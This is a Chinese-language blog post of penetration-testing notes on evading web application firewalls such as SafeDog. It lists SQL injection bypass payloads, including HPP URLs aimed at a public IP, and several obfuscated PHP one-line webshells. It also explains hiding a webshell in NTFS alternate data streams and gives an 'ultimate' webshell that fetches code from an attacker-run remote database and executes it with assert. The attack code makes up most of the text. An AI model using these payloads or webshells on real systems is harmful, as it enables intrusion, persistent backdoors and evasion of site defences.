bypass-绕过阻挡我们的WAF

本地搭建安全狗安装坑

系统服务启动的坑

1
2
3
4
5
6
管理员模式在apache目录执行
httpd.exe -k install -n apache2.0
如果要删除服务重新来,可以输下面这个,给你留着备用
D:phpStudyApachebin>httpd.exe -k install -n apache2.4

sc delete apache2.0

简介WAF

WAF是一个缩写,全名web应用防护系统(Web Application Firewall),是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品

Waf有硬件类型也有软件类型的,但是其实在我看来,从绕过Waf机制上来说,区别不大,我们一般渗透测试都会遇到软Waf,因为硬件waf价格有点昂贵,正常企业不会购买,所以基本是GOV站点或者国网、运营商等国企才会大规模装配。

常见的软Waf,:安全狗、云锁、云盾、悬镜、护卫神

bypass是什么?

bypass他就是绕过的意思,我们渗透测试人员通过特殊语句的构建进行渗透测试,然后达到绕过waf的手法

waf检测机制其实很简单,核心就是正则匹配,虽然说还有字符串强行匹配,还有什么语义解析,但是实际上还是正则居多。


waf的核心,通过正则匹配,如果符合规则,就拦截。 and 1=1 拦截

and 1=1 => And 1=1 => 因为Waf获得数据之后不会去解码

and 1=1

and =>&
1=1 => -1=-1

/**/ 数据库注射

/*!*/内联注释//可以运行 最新版被拦截

union select => union /*10044!select*/ 最新版基本被拦截

/*%0a */

– qwe /*%0a

– qwe/* %0a union select 1,2 from admin limit 1,1 – qwe*/

内联注释
特殊字符 => %0a 换行

iis 传参里面 s%e%l%e%c%t => select
Apache Hpp

http://192.168.136.129/?id=1/\*&id=2%23*/

http://59.63.200.79:8003/?id=1/\*&id=2 union select 1,2 from admin limit 1,1#*/


记住一句话,安全和客户体验都是需要平衡的,特别是对于Waf而言,你想像,用了waf之后,然后网页动不动就拦截,比如我是用户,然后因为我用户名叫and然后我就被拉黑了,因为我不小心输入个’页面就出问题,这个当然不可以,所以waf一般都是通用的,并不是单独定制的,既然是通用的,那么他拦截上会比较谨慎,所以waf的正则一般是搭配的。’

我们既然知道waf通过正则匹配,那么你们第一个反应就是,替换函数对不对 例如:id= 1 and 1=1 waf对and进行了拦截,那么我们是不是得尝试找到替换and的东西,那么运算符就能帮上我们,例如:&

但是输入时候我们发现只写and是不会被拦截的,那么我们想办法改一改 1=1,可以试试-1=-1

甚至例如直接传参,我使用加减符号,乘除符号运算,或者是字符串传参直接用16进制也可以绕过这个waf

这里要讲一个东西叫做内联注释。

内联注释是Mysql为了保持与其他数据兼容,将Mysql中特有的语句放在/*!…/中,这些语句在不兼容的数据库中不执行,而在mysql自身却能识别,执行。/\!50001*/表示数据库版本>=5.00.01时中间的语句才能被执行

常见绕过手法

1、大小写绕过(很老的waf才有用)

2、替换绕过(很老的waf才有用)【和上传文件那个漏洞一样】

3、特殊字符绕过(%0a换行)

4、编码绕过(比如会多次解码的东西,例如我们DOM XSS绕狗那个)

5、等价替换(利用其它函数替代)[union #%0aselect 拦截] [uinon all #%0aselect 不拦截]

6、容器特性(例如Apache的hpp或者iis的%分割)

7、白名单(管理员权限或者是127.0.0.1本地访问不拦截)

8、缓冲区(数据太多了超出了waf检测的范围)


Bypass Sql注入绕过

Bypass webshell 的绕过 一句话木马 (webshell)

=> 替换 eval 替换$_REQUEST[a] => 超全局变量

——笔录


end()函数绕过waf



我们可以想想如何绕过waf的拦截,不使用[]来进行传参执行呢,我们发现end()函数能够输出数组中的当前元素和最后一个元素的值


通过常量定义绕过waf

1
<?php define("a","$_REQUEST[a]");eval(a)?>;


通过字符串拼接+双美元符号

1
2
3
4
5
6
7
<?php 
$a='ass';
$b='ert';
$funcName=$a.$b; //assert
$x='funcName';
$$x($_REQUEST[1]); //$funcName => assert[$_REQUEST[1]]
?>

通过定义函数强行分割

1
2
3
4
5
6
<?php
function a($a){
return $a;
}
eval(a($_REQUEST)[a]); //强行分割$_POST['a']
?>

通过类定义,然后传参强行分割

1
2
3
4
5
6
7
8
9
10
11
<?php
class User
{
public $name='';
function __destruct(){
eval("$this->name");
}
}
$user= new User;
$user->name=''.$_REQUEST[a];
?>

多种方式传参免杀

第一种

1
2
3
4
5
6
7
8
<?php 
$COOKIE = $_COOKIE;//获取Cookie传参 数组; a=1 $key=a $value=1;
foreach($COOKIE as $key => $value){
if($key=='assert'){
$key($_REQUEST[a];)
}
}
?>

第二种

1
2
3
<?php
$a=get_defined_functions();//返回已经定义的函数给我 二维数组
$a["internal"][847]($_REQUEST["a"]);

image-20210417110411852

以上在安全狗环境测试

1
2
<?php if($_SERVER['HTTP_USER_AGENT']==='1')
{eval(end(%_REQUEST));}?>


拿到shell之后藏shell的妙招: ntfs文件流

NTFS文件流,文件上传 1.jpg:2.txt

cmd 中 echo xxx >> 1.txt:2.txt dir /r 可以查看数据流::$date

1
2
3
4
5
cmd中命令
www/echo "<?php eval($_REQUEST[a]);?>" >> /:1.txt

j.php中包含代码
<?php include('/:1.txt'); ?>



(终极手法)绕过市面上所有Waf

1
2
3
<?php 
assert(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','maoshe'),'select * from info'))['info']);
?>


提示:可以通过香港云各种网上的数据库进行连接然后传参getshell 用这段代码连接自己香港云的服务器可以达到getshell

总结

以上就是关于waf的sql注入的一些绕过

和一句话木马的各种骚操作和终极绕过思考办法。

本文标题:bypass-绕过阻挡我们的WAF

文章作者:孤桜懶契

发布时间:2021年04月15日 - 19:27:02

最后更新:2021年10月20日 - 13:11:32

原始链接:https://gylq.gitee.io/posts/21.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------------本文结束 感谢您的阅读-------------------